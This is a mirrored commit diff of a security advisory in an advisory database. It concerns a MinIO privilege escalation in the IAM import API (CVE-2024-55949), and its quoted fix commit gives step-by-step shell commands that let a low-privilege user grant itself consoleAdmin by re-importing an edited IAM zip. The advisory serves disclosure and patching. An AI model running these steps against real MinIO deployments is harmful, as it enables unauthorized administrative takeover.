netbird/advisory-database
0
0
Fork 0
mirror of https://github.com/netbirdio/advisory-database.git synced 2026-05-22 18:04:22 -07:00
Code Issues Packages Projects Releases Wiki Activity

Publish GHSA-cwq8-g58r-32hg

Browse Source
This commit is contained in:
advisory-database[bot]
2024-12-17 16:06:02 +00:00
parent aef7ebc5e5
commit 5d81639f60
1 changed files with 2 additions and 2 deletions
Download Patch File Download Diff File Expand all files Collapse all files
advisories/github-reviewed/2024/12/GHSA-cwq8-g58r-32hg/GHSA-cwq8-g58r-32hg.json
+2 -2
View File
@@ -1,13 +1,13 @@
{
"schema_version": "1.4.0",
"id": "GHSA-cwq8-g58r-32hg",
"modified": "2024-12-16T21:47:29Z",
"modified": "2024-12-17T16:04:31Z",
"published": "2024-12-16T17:27:53Z",
"aliases": [
"CVE-2024-55949"
],
"summary": "MinIO vulnerable to privilege escalation in IAM import API",
"details": "### Impact\nPrivilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f\n\n### Patches\n```\ncommit f246c9053f9603e610d98439799bdd2a6b293427\nAuthor: Aditya Manthramurthy <donatello@users.noreply.github.com>\nDate: Wed Dec 11 18:09:40 2024 -0800\n\n fix: Privilege escalation in IAM import API (#20756)\n \n This API had missing permissions checking, allowing a user to change\n their policy mapping by:\n \n 1. Craft iam-info.zip file: Update own user permission in\n user_mappings.json\n 2. Upload it via `mc admin cluster iam import nobody iam-info.zip`\n \n Here `nobody` can be a user with pretty much any kind of permission (but\n not anonymous) and this ends up working.\n \n Some more detailed steps - start from a fresh setup:\n \n ```\n ./minio server /tmp/d{1...4} &\n mc alias set myminio http://localhost:9000 minioadmin minioadmin\n mc admin user add myminio nobody nobody123\n mc admin policy attach myminio readwrite nobody nobody123\n mc alias set nobody http://localhost:9000 nobody nobody123\n \n mc admin cluster iam export myminio\n mkdir /tmp/x && mv myminio-iam-info.zip /tmp/x\n cd /tmp/x\n unzip myminio-iam-info.zip\n echo '{\"nobody\":{\"version\":1,\"policy\":\"consoleAdmin\",\"updatedAt\":\"2024-08-13T19:47:10.1Z\"}}' > \\\n iam-assets/user_mappings.json\n zip -r myminio-iam-info-updated.zip iam-assets/\n \n mc admin cluster iam import nobody ./myminio-iam-info-updated.zip\n mc admin service restart nobody\n ```\n```\n\n### Workarounds\nThere are no workarounds possible, all users are advised to upgrade immediately.\n\n### References\nRefer https://github.com/minio/minio/pull/20756 for more information \n",
"details": "### Impact\nPrivilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f\n\n### Patches\n```\ncommit f246c9053f9603e610d98439799bdd2a6b293427\nAuthor: Aditya Manthramurthy <donatello@users.noreply.github.com>\nDate: Wed Dec 11 18:09:40 2024 -0800\n\n fix: Privilege escalation in IAM import API (#20756)\n \n This API had missing permissions checking, allowing a user to change\n their policy mapping by:\n \n 1. Craft iam-info.zip file: Update own user permission in\n user_mappings.json\n 2. Upload it via `mc admin cluster iam import nobody iam-info.zip`\n \n Here `nobody` can be a user with pretty much any kind of permission (but\n not anonymous) and this ends up working.\n \n Some more detailed steps - start from a fresh setup:\n \n ```\n ./minio server /tmp/d{1...4} &\n mc alias set myminio http://localhost:9000 minioadmin minioadmin\n mc admin user add myminio nobody nobody123\n mc admin policy attach myminio readwrite nobody nobody123\n mc alias set nobody http://localhost:9000 nobody nobody123\n \n mc admin cluster iam export myminio\n mkdir /tmp/x && mv myminio-iam-info.zip /tmp/x\n cd /tmp/x\n unzip myminio-iam-info.zip\n echo '{\"nobody\":{\"version\":1,\"policy\":\"consoleAdmin\",\"updatedAt\":\"2024-08-13T19:47:10.1Z\"}}' > \\\n iam-assets/user_mappings.json\n zip -r myminio-iam-info-updated.zip iam-assets/\n \n mc admin cluster iam import nobody ./myminio-iam-info-updated.zip\n mc admin service restart nobody\n ```\n```\n\n### Workarounds\nThere are no workarounds possible, all users are advised to upgrade immediately.\n\n### References\nRefer https://github.com/minio/minio/pull/20756 for more information \n\n### Credits\nCredit goes to [National Security Agency](https://www.nsa.gov/) for reporting this issue.\n",
"severity": [
{
"type": "CVSS_V4",